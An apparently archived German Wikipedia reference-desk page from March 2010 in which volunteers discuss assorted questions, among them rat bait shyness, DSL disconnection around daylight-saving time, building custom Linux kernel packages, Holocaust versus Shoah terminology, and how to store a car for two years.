Ist wirklich so. Die schicken wen vor und gucken zu. Wenn der Vorkoster beim Kauen abnibbelt, setzen die Zuschauer ne Duftmarke ála "Zutritt verboten!" und ziehen weiter. Ist doch bei Bienen ähnlich: Da wird ne Kundschafterin losgeschickt und wenn die mit Pollenkuchen und Nektarshakes zurückkehrt, wird ausgeschwärmt. Kommt die Botin mit leeren Körbchen zurück, gibt´s Dresche. --Nephiliskos 15:11, 28. Mär. 2010 (CEST)

Wenn man nach "Wanderratte und Vorkoster" googelt erhält man viele seriös aussehende Treffer., z:B. diesen. Da wird auch behauptet Profi-Rattenfänger bestückten ihre Fallen nicht mit Käse oder Speck, sondern mit Nutella (Farbe und Konsistenz kämen da ja ungefähr hin...) Ugha-ugha 17:09, 28. Mär. 2010 (CEST)
Klingt plausibel... --Lkl17:18, 28. Mär. 2010 (CEST)
Das Prinzip war mir bekannt und kein Zweifel, dass Ratten "intelligent" sind (adaptiv funktionell gefällt mir besser), aber rangniedere Männchen müssen ...vorkosten (BioGärtner in Ehren...) oder die werden vorgeschickt (von wem denn?) halte ich für eine Vermenschlichung (auch unser Artikel Ratten beschreibt es nicht so). Wer zwingt sie denn zum Vorkosten ?? Das ist eine übertragene Interpretation.
Ist es nicht eher so, dass die ranghöheren, erfahrenen Tiere die (hungrigeren) rangniedrigen freiwillig vorlassen und die kleinen Doofis fressen halt freiwillig (a) weil sie hungrig sind und (b) weil sie - anders als sonst - endlich mal die Chance bekommen als erste zu fressen und (c) weil sie jung sind und weniger Lebenserfahrung haben.
Altruismus bei Ratten?? Noch dazu gegenüber den Starken, die einen andauernd wegbeissen?? Dass man die Rangniederen, Schwachen beobachtet macht auch "Sinn", denn die werden dem Gift weniger entgegen setzen können, als eine grosse erfahrene Ratte. G! GG nil nisi bene 18:52, 28. Mär. 2010 (CEST)
Klingt plausibel weil sehr in die Ferne dessen gerückt, was man als Vermenschlichung bezeichnen würde. Andererseits halte ich es eben nicht für ausgeschlossen, dass es sich bei der "Vermenschlichung" eher um einen Begriff handelt, der ungerechtfertigt aus einem seit Jahrhunderten bestehenden egozentrischen Weltbild heraus bestimmtes Verhalten nur für eine Spezies in Anspruch nimmt. --Ian DuryHit me 21:45, 28. Mär. 2010 (CEST)
Wir brauchen mehr Verrattung !!(?) G! GG nil nisi bene 13:54, 29. Mär. 2010 (CEST)
Das wäre ja das selbe Prinzip. Komm schon, ich dachte eher an etwas weitaus umfassenderes. --Ian DuryHit me 21:15, 30. Mär. 2010 (CEST)

Na ja, einen "Vorkoster" losschicken und zuschauen dürfte wohl nicht ganz zutreffen. Aber schlau sind Ratten schon, und beobachten und aufpassen tun die auch. Ganz im Gegensatz z. B. Mäuse: stell 'ne Mausefalle (Schnappfalle) auf und - wenn du die erste Maus erwischt hast - verwende die gleiche Falle wieder. Du brauchst die nicht mal zu reinigen, es klappt trotzdem.

Bei Ratten funktioniert das so nicht. Da geht nie wieder eine hin. Da mußt du schon tricksen: neue Falle (am besten diesmal Plastik statt Holz), anderer Köder (Speck statt Käse), neuer Standort der Falle und am besten auch ein anderer Mensch, der die Falle aufstellt.

Bei Giftködern ist das nicht viel anders. Darum sind Rattengifte normalerweise auch langsam wirkend. Damit die Ratte (vor allem aber ihre Familie) nach 2 oder 3 Tagen nicht mehr weiß, warum ihr plötzlich sterbends elend wird. --Ch.Weg 23:45, 28. Mär. 2010 (CEST)

DSL-Trennung und Sommerzeit.

Die üblichen DSL-Anschlüsse trennen ja täglich mindestens einmal die Verbindung, auch als 24-Stunden-Zwangstrennung bekannt. Wie ist es aber an den Tagen, an denen nächtens die Umstellung zwischen Sommer- und Winterzeit erfolgt? Hat man dann eine 23-, eine 24- oder eine 25-Stundentrennung? --smial 13:58, 28. Mär. 2010 (CEST)

Da die Zwangstrennung immer um 24 Uhr erfolgt und nicht um 2 Uhr, wenn die Zeitumstellung erfolgt, hat das doch überhaupt keinen Einfluss. Von 24 Uhr bis 24 Uhr ist immer 24 Stunden. So einfach ist das, was ist daran nicht kapierbar. Wir sind doch Menschen und keine Kühe, die gemolken werden wollen.--91.56.203.37 14:25, 28. Mär. 2010 (CEST)
Meinst du das ernst? --84.73.134.238 14:37, 28. Mär. 2010 (CEST)
Ernst und Emil meinen das.--91.56.203.37 14:42, 28. Mär. 2010 (CEST)
Von 24 bis 24 Uhr ist eben nicht immer 24 Stunden, und, selbst wenn Kühe hier mitschreiben würden, hätten sie damit kein Problem. --MannMaus 14:45, 28. Mär. 2010 (CEST)

die zwangstrennung kommt _spätestens_ 24h nach dem aufbau der verbindung... --Heimschützenzentrum (?) 15:30, 28. Mär. 2010 (CEST)

bei t-home in der b.rep.deut jedenfalls... es gibt auch dsl provider mit statischer IP ohne zwangstrennung... --Heimschützenzentrum (?) 15:32, 28. Mär. 2010 (CEST)
Wieso kürzt du die BRD eigentlich immer so drollig ab? --84.73.134.238 15:34, 28. Mär. 2010 (CEST)
haben wir in der schule so gelernt... brd sagen wohl nur (ex) d"d"r bürger... --Heimschützenzentrum (?) 15:57, 28. Mär. 2010 (CEST)
Negativ: geboren, aufgewachsen und schulisch (ein-)gebildet im nichtsozialistischen Westen und BRD ist für mich völlig normal. Werden wohl doch nur regionale Unterschiede (nördlich/südlich Grünkohläquator?) sein... - Apropos Kühe: dann kann Lady Gaga heute ja nur 23 Stunden lang Geburtstag feiern. Sowas aber auch.:) --Lkl17:10, 28. Mär. 2010 (CEST)

<quetsch>Nein, 24 Std. Zeitumstellung auf Eastern Daylight Time war schon zwei Wochen früher. --MB-one 00:43, 31. Mär. 2010 (CEST) </quetsch>

oh, in der schule gelernt: seit wann denn so obrigkeitshörig? so ne geschichtslehrerin hatten wir übrigens auch --84.164.92.94 17:24, 28. Mär. 2010 (CEST)
HSZ hat recht, das war mal ein Politikum. Zumindest wer als rechtschaffen konservativ wahrgenommen werden wollte, vermied das Kürzel, weil es vermeintlich eine gleichwertige Zweistaatlichkeit von BRD und DDR implizierte. Genau genommen schrieb "man" (d.h. BILD) DDR auch nur "DDR", was Schwierigkeiten bei der Aussprache machte. Grüße 85.180.201.109 18:35, 28. Mär. 2010 (CEST)
Die Bild schrieb SBZ oder Ostzone. -- Martin Vogel 18:39, 28. Mär. 2010 (CEST)
Die Bild schrieb nicht nur SBZ und Ostzone, sondern viele Jahre lang "DDR". Peinlicherweise glaubte auch Springer irgendwann nicht mehr an die Wiedervereinigung und gab die Gänsefüßchen auf. Die letzten Monate vor dem Sturz Honeckers schrieb daher auch Bild DDR ohne Anführungszeichen (in Westdeutschland glaubte eh noch kaum wer dran - so wurde zum Beispiel das für Leipzig reservierte Autokennzeichen "L" neu vergeben, weil man nicht glaubte, es je noch für Leipzig zu brauchen).
Und natürlich sind von 24.00 Uhr bis 24.00 Uhr eben gerade nicht immer 24 Stunden: heute sind das zum Beispiel nur 23 Stunden. --Snevern (Mentorenprogramm) 19:00, 28. Mär. 2010 (CEST)
"Heimschützenzentrum" hat nicht Recht. Ja, es war ein Politikum, aber nein, "brd sagen wohl nur (ex) d"d"r bürger" ist definitv falsch. Übrigens haben wir auch einen Artikel dazu: BRD. --Eike 12:12, 29. Mär. 2010 (CEST)

Also, ich gestehe. Mir kam die Frage so überflüssig vor wie nur sonstwas, weil man sowas ganz einfach selbst und logisch beantworten kann. Deshalb habe ich dem Frager die 24 bis 24 Uhr vorgeworfen, in der Hoffnung, er kommt selbst drauf. Dass da welche darauf so ernsthaft anbeissen, erschreckt mich. Die BRD zu DDR Diskussion ist aber interessant.--91.56.203.37 09:03, 29. Mär. 2010 (CEST)

Tja, nur leider taugte deine Antwort nichts. Ad 1: Mitnichten findet die Zwangstrennung bei allen um 24:00Uhr statt. Die Einwahlserver würden ganz schön ins schwitzen kommen, wenn sie allen Telekom-Kunden (bspw.) da eine neue Verbindung aufbauen müssten. Ad 2: Von 24:00 Uhr bis 24:00 Uhr waren es bspw. gestern nur 23 Stunden, also weniger als die von dir genannten 24h. Und Ad 3: Du hast hier einem Frager nichts vorzuwerfen! Er hat freundlich gefragt und hat daher schon eine korrekte oder eine augenzwinkernde Antwort verdient (und ist nebenbei einer der hilfsbereitesten, die du im gesamten Wikiversum findest) und keine Vorwürfe o.ä., insbesondere wenn man selbst nur grob ungenau unrichtige Antworten geben kann oder will. Und bei Betrachtung deiner Aktivitäten hier auf der Auskunft möchte ich dir den ernst gemeinten Rat geben ob du dir nicht ein anderes Betätigungsfeld in der WP suchen willst.
@smial: Falls du noch an einer Antwort interessiert bist: Die Trennung erfolgt immer 24h nach der letzten Trennung. D.h. wenn du deinen DSL-Router erstmalig um 17:42Uhr MEZ eingestöpselt hast, wird, vorausgesetzt kein Stromausfall o.ä., immer um 17:42h die Verbindung ab- und wieder aufgebaut. Die Einwahlserver rechnen aber i.a. nicht in Kalendertagen bzw. MEZ/MESZ/whatever, sondern vergeben die IPs einfach für 86400000 Millisekunden. An welchem Tag diese ablaufen ist rechtschaffen wurscht. --Gnu1742 13:32, 29. Mär. 2010 (CEST)
Meine Telekom trennt mich morgens zwischen 8 und 9 Uhr und weist mir eine neue IP zu. Nicht, weil ich da mal eingestöpselt habe, sondern weil sie mir das auch so mitgeteilt haben. Das ist bei Entertain so, vorher bei DSL Flat haben die stur um 24 Uhr +/- paar Sekunden gewechselt.--91.56.212.43 17:05, 29. Mär. 2010 (CEST)
@Gnu: Da hier in der Vergangenheit (also noch zu t-Komikerzeiten) die Trennung keineswegs stets alle 24h stattfand, sondern immer mal wieder willkürlich wechselte, so daß mir das auch schon mal tagsüber einen Download zersemmelte, hatte ich schon vor Jahren meinem Verbindungsrechner beigebogen, stets um 5:07 in der Früh von sich aus zu trennen. Dein Sekundenhinweis war daher sehr nützlich, da er bestätigt, daß eben nicht zu festgesetzten Zeiten (und schon gar nicht pünktlich um O:OO Uhr), sondern quasi per Timer getrennt wird. Genau so, wie es der Windows-Taskmanager wohl auch macht, denn die Sonntägliche Trennung erfolgte um 6:07 Sommerzeit, die Montägliche dann wieder wie gewohnt um 5:07. Der Taskmanager hat folglich die Zeitumstellung nicht registriert, sondern stumpf die Sekunden runtergezählt und sich erst für den neuen Termin an die geänderte Zeitrechnung angepaßt. Btw: Die Frage war durchaus auch ein bisken augenzwinkernd gedacht, da ich hier ansonsten völlig unerwartet gar keine Sommerzeitfrage fand :-) -- smial 17:29, 29. Mär. 2010 (CEST)

Name von Gerät zur Feststellung von Fehlsichtigkeit

Roter Kreis mit sich bewegenden Punkten

Moin, es gibt manchmal in Schaufenstern von Optikern so Geräte, bei denen man auf die schnelle sieht, ob man Fehlsichtig ist: Man sieht einen großen, roten Lichtkreis, der bei näherer Betrachtung aus vielen kleinen Punkten besteht (sieht aus wie ein stark vergrößerter Laser). Je nachdem, ob man kurz- oder weitsichtig ist, bewegen sich die Punkte nach oben oder unten (schneller, je stärker die Fehlsichtigkeit ist), für normal sehende Menschen bewegen sie sich nur ganz langsam willkürlich. Weiß jemand, wie dieses Gerät – oder dieses Testverfahren – heißt? Noch besser: Weiß jemand, warum und wie das funktioniert? Habe gerade nichts in de, en und Google gefunden :( -- Pberndt (DS) 12:18, 28. Mär. 2010 (CEST)

(Da das mittlerweile ein wenig her ist würde ich mich bei Antworten über eine Benachrichtigung auf meiner Diskussionsseite freuen -- Pberndt (DS) 12:39, 31. Mär. 2010 (CEST))

Erstellen von Linux-Kernel Paketen

Hallo ! Wo befinden sich nach dem Kompillieren eines Linux-Kernels der konfigurierte Quellcode (linux-sources) und die konfugurierten Header-Dateien (linux-headers) beziehungsweise welche Dateien sind relevant wenn eventuell danach zum Beispiel ein Treiber für Grafikkarten (ATI,Nvidia,Intel) kompilliert werden soll der dazu konfigurierte! linux-sources oder linux-headers benötigt. Ich möchte dazu die Software-Pakete (linux-sources) und (linux-headers) selbst per Hand erstellen da die Automatische Paketerstellung via Software-Paket Kernel-Package fehlschlägt da nicht alle erforderlichen Dateien in die fertigen linux-headers und linux-sources Pakete inkludiert werden.

Welche anderen Möglichkeiten gibt es noch? (muss es ja geben denn die Jungs von Debian bzw. Ubuntu erstellen ja auch diese Pakete fehlerfrei) Vorgefertigte Pakete (Mainline-Kernel) kann ich nicht gebrauchen da ich einen customized Kernel benötige. --Der grosse blonde Blauäugige 11:43, 28. Mär. 2010 (CEST)

Besorg dir die Quellen des Vanilla-Kernels von kernel.org. Diese entpackst du in /usr/src. In das erstellte (linux-2.6....) Verzeichnis reinwechseln, dann einmal zcat /proc/config.gz >.config, um die Konfiguration des aktuell laufenden Kernels als Basis zu nehmen. Dann make menuconfig oder eine der anderen Varianten deiner Wahl. Konfiguration nach Wunsch ändern, dann verlassen+speichern. Jetzt einmal make install und danach make modules_install und alles wird kompiliert und dorthin geschoben, wo es externe Treiber erwarten. -- Janka 15:27, 28. Mär. 2010 (CEST)


Danke für die Antwort! Mein selbst kompilierter Kernel läuft zwar perfekt aber ich möchte die Pakete ähnlich linux-headers und linux-source selbst erstellen um eventuell später Treiber für WLAN-Karten, Grafikkarten, DVB-TV-Karten usw... kompilieren zu können die konfigurierte Kernel-Quellen benötigen. Wie schon vorher gesagt ist das Paket Kernel-Package nicht brauchbar da es zwar die oben genannten Pakete erstellt aber nicht alle relevanten Dateien darin inkludiert. Die Methode via make install, make modules_install und make headers_install_all ist mir bekannt und funktioniert auch ist aber bei vielen Rechnern zu mühsam und viel zu zeitaufwendig. Daher werden diese Pakete benötigt eben um auch auf mehreren Rechnern installiert bzw. bei einem Update einfach (automatisch) durch das neure ersetzt werden zu können. Die vorgefertigten Pakete von Debian können leider nicht verwendet werden da diese nicht die erforderlichen Patches (für TuxOnIce und auch viele andere Anpassungen) enthalten.

Meine konkrete Frage ist daher wer kennt sich damit aus oder wer hat diese Pakete selbst schon erstellt oder wer weiss wo ich das korrekte Build-Skript herbekomme? (Muss es ja geben, denn die Jungs von Debian ertellen ja auch diese Pakete korrekt!) Für jeden Vorschlag bin ich dankbar! --Der grosse blonde Blauäugige 22:06, 30. Mär. 2010 (CEST)

Nochmal: Konfigurierte Kernel-Quellen bezieht sich darauf, dass die Datei /usr/src/linux-2.6..../.config, und das Unterverzeichnis /usr/src/linux-2.6.../include da und korrekt sind. Kopiere einfach nach dem Kompilieren das Verzeichnis /usr/src/linux-2.6.... auf die anderen Rechner drauf. Wichtig ist nur, dass die letzte Komponente (linux-2.6...) mit dem übereinstimmt, was uname -r ausgibt, denn so bestimmen externe Treiber meist den Verzeichnisnamen für die Quellen des laufenden Kernels. Du brauchst keine Debian-Pakete von zu basteln, das ist unnötig und macht die Sache nur komplizierter. -- Janka 16:11, 31. Mär. 2010 (CEST)
Du könntest dir mal den Patch des Debian-Pakets anschauen, oder (mit z. B. wajig source) den kompletten Inhalt des Pakets runterladen und mit dem Original vergleichen. Der Einstieg in das Bauen von Debiabn-Paketen findet sich hier: http://www.debian.org/doc/maint-guide/ --Eike 16:22, 31. Mär. 2010 (CEST)

Holocaust vs Schoa

Mir ist bekannt, dass man innerhalb der Theologie eher den Begriff Schoa verwendet wird. Wie sieht das in der Religionswissenschaft aus??? Mir ist klar dass allg. Holocaust verwendest wird. Allerdings ist das bei Kenntnis der Wortherkunft etwas NAJA. Kann man als gebildeter noch von einem Brandopfer sprechen ?--77.2.129.173 21:14, 27. Mär. 2010 (CET)

Holocaust (Begriff). --83.77.199.208 21:26, 27. Mär. 2010 (CET)
Sind Theologie und Religionswissenschaft nicht irgendwie dasselbe? --Schmiddtchen 22:53, 27. Mär. 2010 (CET)
Holocaust ist der Massenmord an allen Volksgruppen im Dritten Reich, Shoa ist der Massenmord an den Jüdischen Bürgern und wird zur Unterscheidung aus Sicht der Israeliten angewandt.--91.56.197.155 23:40, 27. Mär. 2010 (CET)
Nein auch das Wort Holocoust umfasst eigentlich nicht die anderen getöteten, wie Sozialdemokraten, Behinderte, Zeugen Jehowas. Der Begriff des biblischen Brandopfers wurde sicher wegen seiner bibl. Herkunft auf die ermordeten Juden bezogen. In Israel verwendet man das Wort Schoa was sowas wie großes Unheil bedeutet. Ja sicher ist es im religiösen Sinne makaber von den Juden als Holocaust, als einem Opfer für Gott zu sprechen. Allerdings spricht Benjamin Nethanjahu wenn englisch spricht auch von "Holocaust" wahrscheinlich weil der Begriff einfach die Bezeichnung international dominiert. Jeder weiß was mit Holocaust gemeint ist bei Schoa ist das schon anders, Ich für meinen Teil pflege meist Schoa zu sagen, wenn ich davon rede und speziell auch im Religionsunterricht. Religion und Theologie sind nicht das gleiche, dass führe ich hier allerdings nicht weiter aus.-- PogoEngel 13:58, 28. Mär. 2010 (CEST)
@Pogo, wie heisst denn das, was da an Ermordung an allen Menschen im Dritten Reich passiert ist, wenn nicht Holocaust.--91.56.203.37 16:56, 28. Mär. 2010 (CEST)
Organisierter Massenmord im NS-Staat? --92.202.38.53 23:39, 28. Mär. 2010 (CEST)
Das ist eine Umschreibung, aber kein Begriff dafür. Massenvernichtung wäre sicher treffender, nur ist die Englische Übersetzung dafür eben Holocaust. --91.56.203.37 02:56, 29. Mär. 2010 (CEST)
Soviel ich weiß gibt es keinen Überbegriff. Die Ermordung von z.B. Homosexuellen, Sinti und Roma wird auch laut der WPLemmas (meist) nicht von Holocaust abgedeckt. Man spricht in diesem zusammenhang auch nie von Völkermord. Jeder der Opfergruppen hat in Berlin ja auch ihr eigenes Denkmal, sowie es in WP die Artike: Holocaust, Aktion T4, Zeugen Jehovas im Nationalsozialismus, Homosexuelle während der Zeit des Nationalsozialismus etc.. Man macht die Opfer nicht gleich. PogoEngel 14:14, 29. Mär. 2010 (CEST)
Wie bitte? Man spricht im Zusammenhang mit Sinti und Roma und ihrer Verfolgung im Dritten Reich nicht von Völkermord? Da hast du dich offenbar noch nicht näher mit der Thematik befasst, sonst würdest du sowas nicht behaupten. Selbstverständlich tut man das. --Snevern (Mentorenprogramm) 14:36, 29. Mär. 2010 (CEST)
Ja bei Sinti und Roma war in diesem Fall das schlechteste Beispiel. Trotzdem spricht man auch in deren Zusammenhang nicht von Holocaust PogoEngel 14:39, 29. Mär. 2010 (CEST)
Porajmos -- PogoEngel 14:44, 29. Mär. 2010 (CEST)
Da gebe ich dir recht: im allgemeinen wird mit dem Begriff Holocaust (natürlich erst recht mit dem Begriff Shoa) nur die Vernichtung der Juden bezeichnet. --Snevern (Mentorenprogramm) 14:47, 29. Mär. 2010 (CEST)
Es hat da vor Jahren bereits eine heftige Diskussion gegeben, weil der Begriff Holocaust - von wem auch immer - nur für den Massenmord am Jüdischen Volk belegt werden sollte. Es kam zu heftigen Gegenreaktion der anderen Angehörigen der Ermordeten. Politisch gilt daher der Begriff Holcaust für alle Ermordeten bei der Massenvernichtung des Dritten Reiches. Israel/ das Jüdische Volk nutzt daher erst seit paar Jahren den Begriff der Schoa, um die Verbrechen am Jüdischen Volk abzugrenzen/ um sie religös zu deuten/ einzuordnen. In diesem Sinne verhält sich Nethanjahu politisch korrekt, wenn er diese Vorgänge im Dritten Reich als Holocaust bezeichnet und im innerstaatlichen/religösen/ biblischen Bereich dieses für das jüdische Volk als Schoa benennt. Leider haben da auch Diplomaten ihre Probleme, diese Unterschiede zu erkennen.--91.56.212.43 16:57, 29. Mär. 2010 (CEST)
Ich mache mir erstmal nicht die Mühe auf alles einzugehen, den Begriff Schoah gibts schon seit Ende der Selbigen. Als Bsp. der Jom ha-Schoah der in den Anfangnsjahren des Staates Israel eingeführt wurde. PogoEngel 21:13, 30. Mär. 2010 (CEST)
Natürlich ist Shoa kein Begriff der Neuzeit. Er wird aber erst in den letzten Jahren auf Betreiben Israels für die Verbrechen der Nazis bei der Massenvernichtung am jüdischen Volk benutzt, in Abgrenzung zu den weiteren Verbrechen an den anderen Volksgruppen und Deutschen Mitbürgern. Aus theologischer und politischer Sicht nur auf das Jüdische Volk bezogen, ist das dann auch in Ordnung. Holocaust bleibt aber der Oberbegriff für die Massenvernichtung der Nazis, besonders im politischen Bereich.--91.56.197.96 12:01, 1. Apr. 2010 (CEST)

Bodenlehrpfade in Deutschland

Guten Abend, weiß jemand wieviel Bodenlehrpfade es aktuell in D (auch AT, CH, od. andere) gibt? Gibt es evtl. einen Trend (Zunahme/Stagnation,...) in der Errichtung?--88.72.156.91 20:06, 28. Mär. 2010 (CEST)

Das bietet WP bisher:
In den Refs hierzu finden sich wohl auch andere Bodenlehrpfade oder Übersichten.
Gruß -- Dr.cueppers - Disk. 12:30, 29. Mär. 2010 (CEST)

Eine derzeit wohl nich völlig aktuelle Übersicht bietet auch das UBA mit dem Reiseführer zu den Böden Deutschlands.--188.106.152.143 12:45, 29. Mär. 2010 (CEST)

Zur Ergänzung noch ein österr. Link: http://www.bodenlehrpfad.at/ --U.Name.Me 11:21, 1. Apr. 2010 (CEST)

Was genau bedeutet die Warnanzeige in der Mitte mit dem Wort Check? Ist es ein Motorproblem, wenn diese Anzeige bei der Fahrt aufleuchtet? --Zulu55 21:04, 28. Mär. 2010 (CEST)

Sieht nach VW aus, richtig? Das Symbol steht für die Abgasanlage, soweit ich weiß. Könnte also was mit der Lambdasonde sein. Was genau zu tun ist, steht im Handbuch... oder du verrätst uns das genaue Modell, das würde auch schon weiterhelfen (vielleicht hat jemand ein Handbuch zum Nachschauen). Im Zweifelsfall die Werkstatt des Vertrauens fragen. --тнояsтеn 22:14, 28. Mär. 2010 (CEST)
Ich vermute eher, es handelt sich um das sogenannte "Check Engine" Licht. Das ist bei US-Fahrzeugen üblich, und soll den Fahrzeugbesitzer an ein Wartungsintervall erinnern oder darauf aufmerksam machen, das mit seinen Abgaswerten was nicht stimmt -85.180.87.3 22:24, 28. Mär. 2010 (CEST)
Hat VW in Europa auch und der verlinkte Artikel sagt mir, dass ich mit den Abgasen nicht mal so falsch lag. Hat sich doch ausgezahlt, neulich im Handbuch eines neuen Passat zu blättern. --тнояsтеn 22:33, 28. Mär. 2010 (CEST)

Das ist die "allgemeiner Motorfehler"-Lampe (Machine Indicator Lamp). Die leuchtet immer dann auf, wenn man bald die Werkstatt anfahren sollte, weil irgendwas nicht stimmt. Leuchtet die MIL, kann man das Auto noch vorsichtig weiterfahren, deshalb ist die Lampe auch gelb, nicht rot. Es kann allerdings mittendrin der Motor ausgehen oder sonstwas. In den USA ist streng vorgegeben, wann die MIL aufzuleuchten hat und die Reperatur ist dann kostenlos. Deshalb geht die Lampe da so selten wie möglich an. In Europa ist das hingegen ein schöner Hinzuverdienst für die Werkstätten, deshalb geht die Lampe hier auch bei kleineren Problemen häufig an. Die genauen Bedingungen sind extrem Hersteller- und baujahrabhängig. -- Janka 01:22, 29. Mär. 2010 (CEST)

"Die Reparatur ist dann kostenlos"? Schön wär's, aber das trifft nur zu, wenn das Auto noch unter Garantie ist. Gruss, --Cú Faoil RM-RH 18:27, 31. Mär. 2010 (CEST)
In den USA muss die Vertragswerkstatt den Fehler, der zum Aufleuchten der MIL führte, während der gesamten Lebensdauer des Fahrzeugs kostenlos beheben. Das ist ja gerade der Witz dabei. Hat man es dir anders erzählt? Dann wüsste ich gerne den Bundesstaat und den Hersteller. -- Janka 21:05, 31. Mär. 2010 (CEST)
Da ich schon mehrfach für die Reparatur von Defekten bezahlen musste, die das Licht aufleuchten lassen (finanziell am schmerzhaftesten war der Ersatz der Zylinderkopfdichtung), wüsste ich gern, auf welche Rechtsgrundlage Du das stellst. In diesem Fall Nissan, registriert in Washington State. Gruss, --Cú Faoil RM-RH 21:27, 31. Mär. 2010 (CEST)
Ich habe vor einigen Jahren mal für Toyota und VW an dem Thema gearbeitet, allerdings auf der technischen Seite. Musste mich durch hunderte Seiten CARB-Akten je Baujahr durchwühlen. Wir haben alles, wirklich alles ausgenutzt was ging, um zu verhindern, dass die MIL aufleuchtet. Weil eben die Reparaturen, die mit der MIL zusammenhängen, kostenlos sind. Meiner Erinnerung nach das Autoleben lang, evtl. gilt das aber nur für Kalifornien und in anderen Bundesstaaten sind es dann nur 10 oder evtl. noch weniger Jahre oder es wird nur das Material ersetzt und nicht die Arbeitszeit. Mit der Garantie hängt es definitiv nicht zusammen, da es sich um eine gesetzliche Vorgabe analog zur Produkthaftung handelt. -- Janka 11:15, 1. Apr. 2010 (CEST)

Auto stilllegen

was kann man tun, damit ein Auto einen Stillstand von zwei Jahren in einer Garage gut übersteht? --62.143.74.253 19:44, 27. Mär. 2010 (CET)

Da muss man nicht unbedingt was tun, vielleicht kurz vor Wiederinnbetribnahme etwas Staub wischen. Beachte, dass die Fenster hochgekurbelt sind und die Batterie, ja die Batterie, daran könnt's vielleicht liegen. Das weiß ich auch nicht so genau.--92.78.88.146 20:09, 27. Mär. 2010 (CET)
BK:Das Beste ist immer noch von Zeit zu Zeit (2 Monate) das Auto fahren, bis Motor und Auspuff warm werden und die Batterie wieder geladen wird. Auch wenn das Auto steht, rostet es weiter, also Korrosionsschutz unten und oben auftragen. Aufbocken, ersatzweise Überdruck, hilft den Reifen nicht unrund zu werden. Zeitkritische Wartungen (Bremsflüssigkeit) durchführen.--91.56.197.155 20:12, 27. Mär. 2010 (CET)
Ich nehme an die Garage befindet sich in D, dann hat sich das mit dem Korridieren erledigt.--92.78.88.146 20:21, 27. Mär. 2010 (CET)
Und die Batterie, die kann man vor Wiederinnbetriebnahme an ein Ladegerät hängen (Kann die evtl. auslaufen nach 2 J?)--92.78.88.146 20:24, 27. Mär. 2010 (CET)

(BK) Etwas aufbocken um die Reifen zu entlasten sonst sind se nach 2 Jahren eckig. Aber am besten direkt an den Querlenkern bzw. d. Achse sonst hängt das Gewicht des Fahrwerks 2 Jahre lang an der Karosserie.
Evtl. kann man einmal mit Konservierungsspray (das Zeug das man auch nach einer Motorwäsche reinsprüht) durch den Motorraum gehen. Ansonsten Waschen und anschl. mit Politur konservieren.
Nicht schlecht wäre auch zumindest den Motor alle paar Monate einmal zu starten - wenn man das Fahrzeug schon nicht wenigstens ein paar Meter bewegen kann. Damit Öl in die Motorlager, Hydrostößel usw. gepumpt wird und die Kolben bewegt werden damit sie nicht fest gehen. Das ist immer wieder das Problem bei Austauschmotoren vom Schrottplatz, wenn sie dort zu lange rumgelegen haben.
Meiner (damals relativ neu mit erst 3500 km auf der Uhr) ist damals nach 4 Jahren Standzeit mit Pauken und Trompeten durch die ASU gefallen - Werkstattmeister hat gemeint ich soll ihn mal mit Vollgas auf der Autobahn so richtig freiblasen und neuen Sprit rein. Gruß --Btr 20:30, 27. Mär. 2010 (CET)

Zwei Jahre stehen ist für ein Auto gar nichts. Nimm die Batterie raus. Mach den Tank leer. Bock das Auto aber nicht auf. Das ist nicht gut für das Fahrwerk. Einfach in einer trockenen Umgebung abstellen und vor in Betriebname einen Ölwechsel machen, Batterie laden, Benzin und Ölfilter wechseln und Reifen aufpumpen. Aber auch wenn du all das nicht tust solltest du dich nach zwei Jahren einfach reinsetzen und losfahren können. Ich habe mal einen Benz der 10 Jahre in einer Scheune stand mit Starterkabel gestartet und das Ding ist 1a gefahren :) --FNORD 20:38, 27. Mär. 2010 (CET)

Eins davon muss aber, nämlich die Batterie. Die sagt nach zwei Jahren kein Tönchen mehr. BerlinerSchule 21:57, 27. Mär. 2010 (CET)
Bitte den Tank voll machen, wenn du keinen Rost im Tank willst. --81.221.201.157 22:56, 27. Mär. 2010 (CET)
Wollte ich auch grad sagen: Schön voll. Allein schon damit die Benzinförderung/Einspritzung bei einem unbedachten Startversuch keine Luft zieht. Es scheint da aber zwei gegensätzliche Philosophien zu geben.--Thuringius 23:03, 27. Mär. 2010 (CET)
Beim Überwintern eines Motorrades heisst es aus diesem Grund: Tank voll oder Tank trocken. --91.64.64.166 00:22, 28. Mär. 2010 (CET)
Kommt darauf an, ob es ein Tank aus Blech (rostet) oder Kunststoff ist. In modernen Autos fast immer Kunststoff. --Areta87 22:04, 30. Mär. 2010 (CEST)

Motoröl wechseln - oder heiß fahren, dass die im Öl angesammelte Säure verdampft. -- Fulmen 20:18, 2. Apr. 2010 (CEST)

Bundeswehr - kein Charakter beim marschieren?

Wenn die Bundeswehr maschiert muss man doch recht schmunzeln. Bei der Wehrmacht und der NVA gab es doch noch einen anständigen Stechschritt. Das Geholpere der jetzigen Truppen mag überhaupt kein erhabenes Gefühl mehr aufkommen lassen. Warum wurde diese preußiche Tradition nicht in der heutigen BRD übernommen?--88.72.138.194 01:43, 27. Mär. 2010 (CET)

In der Bundesrepublik Deutschland - die Du vermutlich meinst - hat man sich bemüht, vor allem die guten Traditionen Preußens zu übernehmen. Zum Beispiel die Schulpflicht (von 1717). Nach dem Motto: Wer recht schreibt, schmunzelt am längsten. BerlinerSchule 01:51, 27. Mär. 2010 (CET)
Marschieren ist Charaktersache. Erhabene Gefühle kommen eher beim Spazierengehen. -- Martin Vogel 02:02, 27. Mär. 2010 (CET)
Ich zitiere Dich mal aus der Diskussion um die von Dir eingebrachten Frage „Ist HIV / AIDS eine Strafe Gottes?“ weiter oben: Den Willen des HERRN können wir nicht nachvollziehen. Das trifft auch auf Deine Frage hier zu. --84.191.48.132 02:04, 27. Mär. 2010 (CET)
(BK) schmunzeln kann ich aber schon beim Stechschritt, du etwa werte IP nicht ?! und wenn ja, warum eigentlich ?! ;-) vielleicht sogar aus gleichen Gründen wie ich ?! *rofl*----Zaphiro Ansprache? 02:07, 27. Mär. 2010 (CET)
Na ich glaube an dieser Stelle können wir leider nicht den HERRN ins Spiel bringen. PS: Früher trug der deutsche Soldat noch, um auf IHN Bezug nehmend, einen Hinweis auf seinem Koppelschild.--88.72.138.194 02:12, 27. Mär. 2010 (CET)
Sie könnten sich aber evtl noch ans entsprechende Ministerium wenden um sich zu beschweren, oder ?!----Zaphiro Ansprache? 02:19, 27. Mär. 2010 (CET)
Gnihi. Jetzt wirds lustig. Trøll as trøll can ... --Dansker 02:10, 27. Mär. 2010 (CET)
Meinten Sie: "seinem"? BerlinerSchule 02:19, 27. Mär. 2010 (CET)
